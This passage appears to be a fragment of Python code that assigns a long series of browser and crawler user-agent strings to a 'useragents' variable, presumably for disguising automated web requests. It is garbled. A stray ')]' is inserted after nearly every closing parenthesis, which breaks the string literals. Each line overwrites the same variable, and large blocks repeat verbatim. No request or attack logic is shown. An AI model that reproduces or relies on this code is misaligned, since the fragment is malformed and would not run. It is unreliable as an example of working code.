de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 